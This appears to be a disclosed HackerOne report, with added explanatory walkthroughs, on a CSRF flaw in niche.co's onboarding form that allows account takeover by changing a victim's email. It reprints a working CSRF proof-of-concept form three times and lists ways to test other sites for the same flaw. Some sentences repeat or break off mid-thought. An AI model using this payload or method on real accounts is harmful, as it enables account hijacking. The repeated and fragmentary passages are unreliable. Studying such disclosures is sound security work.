URGENT : NICHE.co Account Take Over Vulnerability
The report claims that the form at /get-started/complete does not properly validate the authenticity_token, allowing a cross-site request forgery attack. An attacker could change a victim's email address and then reset the password to take over the account.
Originally disclosed on HackerOne
- Triaged in 3 days
- Fixed in 4 days
- Paid in 13 days
- Disclosed after 30 days
Hello ! This is an urgent report that you should immediately take care of !!
I found out an account take over vulnerability on your acquisition : niche.co
Proof of concept code
<html>
<head>
<title>CSRF Attack Page: /get-started/complete</title>
</head>
<body>
<!-- attack -->
<form method="POST" action="https://www.niche.co/get-started/complete">
<input type="hidden" name="utf8" value="✓"/>
<input type="hidden" name="_method" value="patch"/>
<input type="hidden" name="authenticity_token" value=""/>
<input type="hidden" name="commit" value="Get Started"/>
<input type="hidden" name="user[name]" value="Hacked"/>
<input type="hidden" name="user[email]" value="[email protected]"/>
<input type="hidden" name="user[username]" value="hacked123"/>
<input type="hidden" name="user[phone_number]" value=""/>
<input type="hidden" name="user[location_id]" value="79790"/>
<input type="hidden" name="user[gender]" value=""/>
<input type="submit" value="submit">s
</form>
<!-- /attack -->
</body>
<html>
The authenticity_token parameter is not properly validated by the end of the server when a user submits the form .
A hacker can , after changing the email of his victim , reset the password and login without any problem !
Here is a video that I made : https://youtu.be/L7fMJkm7sp8 (unlisted video)
Best Regards Hussein
Context
NICHE.co was, at the time of this report, described by the researcher as an acquisition. The feature involved is the onboarding flow at /get-started/complete, a form that a signed-in user submits to finish setting up their profile. The form carries the user's name, email, username, phone number, location and gender, and includes a hidden _method field set to patch.
The researcher reported a cross-site request forgery issue in that endpoint: the server did not properly validate the authenticity_token parameter when the form was submitted, which allowed an attacker to change a victim's account details, including the email address.
Setup
No accounts, tools or versions are described in the report. The report describes no accounts, tools or versions. The proof of concept is a standalone HTML page containing a form that posts to the live endpoint.
Finding it
The report states that the authenticity_token parameter is not properly validated by the server when the form is submitted. In a Rails-style application the authenticity token is the primary defence against CSRF, so a form that is accepted with an empty token means the protection is effectively absent.
Exploitation
Step 1: Host the CSRF page
The attacker hosts an HTML page containing a form that targets the onboarding endpoint. The page contains a form with a submit button.
<html>
<head>
<title>CSRF Attack Page: /get-started/complete</title>
</head>
<body>
<!-- attack -->
<form method="POST" action="https://www.niche.co/get-started/complete">
<input type="hidden" name="utf8" value="✓"/>
<input type="hidden" name="_method" value="patch"/>
<input type="hidden" name="authenticity_token" value=""/>
<input type="hidden" name="commit" value="Get Started"/>
<input type="hidden" name="user[name]" value="Hacked"/>
<input type="hidden" name="user[email]" value="[redacted]"/>
<input type="hidden" name="user[username]" value="hacked123"/>
<input type="hidden" name="user[phone_number]" value=""/>
<input type="hidden" name="user[location_id]" value="79790"/>
<input type="hidden" name="user[gender]" value=""/>
<input type="submit" value="submit">s
</form>
<!-- /attack -->
</body>
<html>
The important parts:
action="https://www.niche.co/get-started/complete"is the onboarding completion endpoint._method=patchtells the server to treat the POST as a PATCH request.authenticity_tokenis left empty, which is the core of the bug: the server accepts the request without a valid token.- The
user[...]fields set the victim's profile values. The email is changed to[redacted], the name toHackedand the username tohacked123.
Step 2: Get the victim to submit the form
When the form is submitted, the request goes to the onboarding endpoint. Because the token is not validated, the server processes the profile update as if the victim had submitted the onboarding form themselves.
Step 3: Take over the account
After changing the victim's email, the attacker can reset the password and log in.
The researcher made a video of the attack.
Root cause
The server did not properly validate the authenticity_token parameter when the onboarding form was submitted. In a framework that relies on that token as its CSRF defence, accepting a request with an empty token removes the protection entirely. The report does not describe the server-side code, so the exact reason the check was skipped (for example a controller that skips verification for this action) is not stated.
Impact
An attacker can change a victim's profile data, including the email address. Changing the email is enough to reset the password and log in as the victim, which is full account takeover. The report describes no preconditions for the attack.
Fix
The report does not state what was changed. The fix implied by the finding is to validate the authenticity token on the /get-started/complete action like any other state-changing request, so that a request carrying an empty or foreign token is rejected.
Variants to test
- Onboarding and profile-completion endpoints on other targets: submit the form with an empty
authenticity_tokenfrom a different origin and check whether the profile is updated. - Endpoints that tunnel verbs with
_method: trypatch,putanddeletevalues and see whether the token check is skipped for any of them. - Email-change and password-change forms: if the token is not validated there, the same takeover path applies directly without relying on the reset flow.
A positive result is a profile field changing on the victim's account after a cross-origin submission with an empty or invalid token.
Hunting notes
The impact here came from the email field: because the email is the account recovery channel, changing it converts a profile-write CSRF into account takeover,
What happened, in plain words
NICHE.co was, at the time of this report, described by the researcher as an acquisition. The researcher found a way to take over another person's NICHE.co account. The trick was a form that changes the victim's profile details, most importantly their email address. Once the email belongs to the attacker, the attacker can reset the password and log in as the victim.
The weakness is called cross-site request forgery, or CSRF. To understand it, imagine a bank that accepts a signed withdrawal slip without checking the signature. Anyone who can slip a form into your hand and get you to drop it in the box can empty your account, because the bank only looks at the account number on the slip. On the web, the "signature" is a secret value called an authenticity token, and the report shows that NICHE.co did not properly check it.
Background you need
A few everyday ideas make the rest of this easy to follow.
- A form on a web page is the set of boxes you fill in and the button you press to send them. When you press the button, your browser packages the contents and sends them to the address written in the form's
actionattribute. - A cookie is a small note your browser keeps for a website and sends back with every request to that site. After you log in, the site gives your browser a cookie that says "this is the signed-in user". That is how the site remembers you between pages.
- A token is a second, secret value that a page includes inside a form. The server checks it to make sure the form really came from its own pages and not from somewhere else. In many web frameworks this value is called the
authenticity_tokenand it is the main defence against CSRF. - CSRF means making a logged-in victim's browser send a request the victim did not intend. The browser automatically attaches the victim's cookie, so the server thinks the request came from the victim. The token is supposed to stop this, because an attacker's page should not know the victim's token.
- A
PATCHrequest is one of the verbs browsers and servers use to describe what a request does.GETasks for a page,POSTsends data, andPATCHmeans "change part of an existing record". HTML forms can only sendGETorPOST, so frameworks add a hidden field called_methodthat tells the server to treat aPOSTas aPATCH. - Account takeover means getting into someone else's account and controlling it, as if you were them.
The feature involved
The target was the onboarding flow at /get-started/complete. Onboarding is the short setup sequence a new user goes through after signing up. The form carries the user's name, email, username, phone number, location and gender, and includes a hidden _method field set to patch.
Setting up
The report does not describe any accounts, tools or software versions. The report describes no accounts, tools or software versions. The proof of concept is a single standalone HTML page containing a form that posts to the live endpoint.
Finding it
The report states that the authenticity_token parameter is not properly validated by the server when the form is submitted. Since that token is the main CSRF defence in this kind of application, a form that is accepted with an empty token means the protection is effectively absent.
Exploitation
Step 1: Host the CSRF page
The page contains a form aimed at the onboarding endpoint, with a submit button.
<html>
<head>
<title>CSRF Attack Page: /get-started/complete</title>
</head>
<body>
<!-- attack -->
<form method="POST" action="https://www.niche.co/get-started/complete">
<input type="hidden" name="utf8" value="✓"/>
<input type="hidden" name="_method" value="patch"/>
<input type="hidden" name="authenticity_token" value=""/>
<input type="hidden" name="commit" value="Get Started"/>
<input type="hidden" name="user[name]" value="Hacked"/>
<input type="hidden" name="user[email]" value="[redacted]"/>
<input type="hidden" name="user[username]" value="hacked123"/>
<input type="hidden" name="user[phone_number]" value=""/>
<input type="hidden" name="user[location_id]" value="79790"/>
<input type="hidden" name="user[gender]" value=""/>
<input type="submit" value="submit">s
</form>
<!-- /attack -->
</body>
<html>
Line by line, in plain words:
<html>,<head>,<title>and<body>are the ordinary skeleton of any web page. The title is just the name shown in the browser tab.<!-- attack -->and<!-- /attack -->are comments. Browsers ignore them; they only mark where the interesting part starts and ends.<form method="POST" action="https://www.niche.co/get-started/complete">opens the form.method="POST"says the browser will send the data as a POST.actionis the address the data goes to: the onboarding completion endpoint on the real NICHE.co site.<input type="hidden" ...>creates a field the visitor cannot see. Hidden fields are how a page carries extra data along with the visible ones.name="utf8" value="✓"is a field the site's framework uses to mark the character encoding. The odd-looking value is a check mark that has been garbled by encoding; it is copied here exactly as it appears in the report.name="_method" value="patch"is the trick that turns the POST into aPATCH, so the server treats the submission as a profile update.name="authenticity_token" value=""is the heart of the bug. The token is left completely empty, and the server still accepts the request.name="commit" value="Get Started"is the label of the button being pressed, sent along as data.name="user[name]" value="Hacked",name="user[email]" value="[redacted]",name="user[username]" value="hacked123",name="user[phone_number]" value="",name="user[location_id]" value="79790"andname="user[gender]" value=""are the profile values the attacker wants to write. The square brackets are a naming convention that groups these fields under the user record. The email is changed to[redacted], the name toHackedand the username tohacked123.<input type="submit" value="submit">sis the visible button that sends the form. The straysafter the tag is a typo in the page and has no effect.</form>,</body>and the final<html>close the page. The closing tag is written as an opening one, another small typo that browsers tolerate.
Step 2: Get the victim to submit the form
When the form is submitted, the request goes to the onboarding endpoint. That cookie is the note that proves the victim is logged in, and the browser attaches it automatically without asking anyone. Because the token is not validated, the server processes the profile update as if the victim had filled in the onboarding form themselves.
Step 3: Take over the account
Once the victim's email address has been changed, the attacker can reset the password and log in as the victim. That is full account takeover.
The researcher made a video of the attack.
Why it works
The server did not properly validate the authenticity_token parameter when the onboarding form was submitted. In a framework that relies on that token as its CSRF defence, accepting a request with an empty token removes the protection entirely. The report does not describe the server-side code, so the exact reason the check was skipped is not stated.
What an attacker could do
An attacker can change a victim's profile data, including the email address. Changing the email is enough to reset the password and log in as the victim, which is full account takeover. The report describes no preconditions for the attack.
How to fix it
The fix implied by the finding is to validate the authenticity token on the /get-started/complete action like on any other request that changes data, so that a request carrying an empty or foreign token is rejected.
Other places to look
- Onboarding and profile-completion forms on other sites: submit the form with an empty
authenticity_tokenfrom a different origin and check whether the profile is updated. - Endpoints that use
_methodto change the verb: trypatch,putanddeletevalues and see whether the token check is skipped for any of them. - Email-change and password-change forms: if the token is not validated there, the same takeover path applies directly, without relying on the reset flow.
A positive result is a profile field changing on the victim's account after a cross-origin submission with an empty or invalid token.
Notes for people hunting this bug
The impact here came from the email field: because the email is the account recovery channel, changing it turns a profile-write CSRF into account takeover,
Glossary
- Account takeover: getting into someone else's account and controlling it as if you were them.
actionattribute: the part of a form that says which web address the data is sent to.- API: a way for one piece of software to talk to another over the web, sending requests and getting responses back.
- Authenticity token: a secret value placed inside a form so the server can check the form came from its own pages; the main defence against CSRF in frameworks such as Rails.
- Cookie: a small note a website stores in your browser and gets back with every request, often used to remember that you are logged in.
- Cross-site request forgery (CSRF): making a logged-in victim's browser send a request the victim did not intend, so the server acts on the victim's account.
- Endpoint: a specific web address on a site that accepts requests and does something with them.
- Form: the boxes and button on a page that collect data and send it to a web address.
- Hidden field: a form field the visitor cannot see, used to carry extra data along with the visible ones.
- HTML: the language web pages are written in.
_methodfield: a hidden form field that tells the server to treat a POST as another verb such asPATCH.- Onboarding: the short setup sequence a new user goes through after signing up.
PATCH: a request verb meaning "change part of an existing record".POST: a request verb used to send data to a server.- Proof of concept: a small, working demonstration that a vulnerability is real.
- Rails: a popular framework for building web applications, which uses authenticity tokens to defend against CSRF.
- Recon: the information-gathering phase of security testing, where you map out a site's features and addresses.
- Session cookie: the cookie that proves you are logged in, sent automatically with every request to the site.
- Token: a secret value used to prove that a request or a user is genuine.
- Verb: the word in a request (
GET,POST,PATCH,PUT,DELETE) that says what kind of action it is. - Vulnerability: a weakness in software that someone can abuse to do something the owner did not intend.